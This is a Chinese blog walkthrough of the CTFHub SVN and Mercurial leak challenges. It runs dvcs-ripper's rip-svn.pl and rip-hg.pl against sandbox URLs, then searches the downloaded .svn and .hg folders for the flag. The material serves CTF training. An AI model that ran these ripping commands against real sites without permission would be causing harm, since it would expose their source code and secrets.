CTFHUB-信息泄露-SVN泄露和HG泄露

目录

SYN泄露

方法1

方法2

HG泄露


这两关我们需要用到一个泄露利用工具 dvcs-riCpperPerl环境,没有的就去下载,kali没有自带

SYN泄露

当开发人员使用 SVN 进行版本控制,对站点自动部署。如果配置不当,可能会将.svn文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。

因为要找到旧版本的源代码,则是找到pristine文件。

首先到dvcs-ripper目录下

cd dvcs-ripper

这时需要用到工具需要的依赖库,不然后面找不到flag,没有就下载安装一下

sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl

使用dvcs-ripper工具扫描将泄露的文件下载到本地目录中

./rip-svn.pl -u http://challenge-406a6acb9c5e31dc.sandbox.ctfhub.com:10800/.svn

方法1

#查看文件
ls -al

进入 .svn 文件
cd .svn

进入 pristine
cd pristine

在pristine发现两个目录,查看第一个文件,发现没有flag

再查看第二个,发现了flag

方法2

使用dvcs-ripper工具之后直接使用tree命令,没有tree命令的直接下载

sudo apt-get install tree
tree .svn

使用 cat 命令挨个查看这两个 .svn-base 文件

HG泄露

当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。

使用dvcs-ripper工具的 rip-hg.pl 模块下载泄露的文件

./rip-hg.pl -u http://challenge-31d3220274a39dc4.sandbox.ctfhub.com:10800/.hg

发现提示404报错和两处完成,可能是没有完整下载网站目录

使用tree命令列出刚刚下载的.hg网站目录,发现可疑的文本文件

tree .hg

查看可疑的文本文件是否存在flag,发现历史版本add flag

cat .hg/last-message.txt

发现历史版本可以使用正则表达式进行关键字查找

grep -a -r flag

使用curl命令检查一下data数据中的文本文件,发现了flag

curl http://challenge-31d3220274a39dc4.sandbox.ctfhub.com:10800/flag_1413026015.txt

  • 12
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值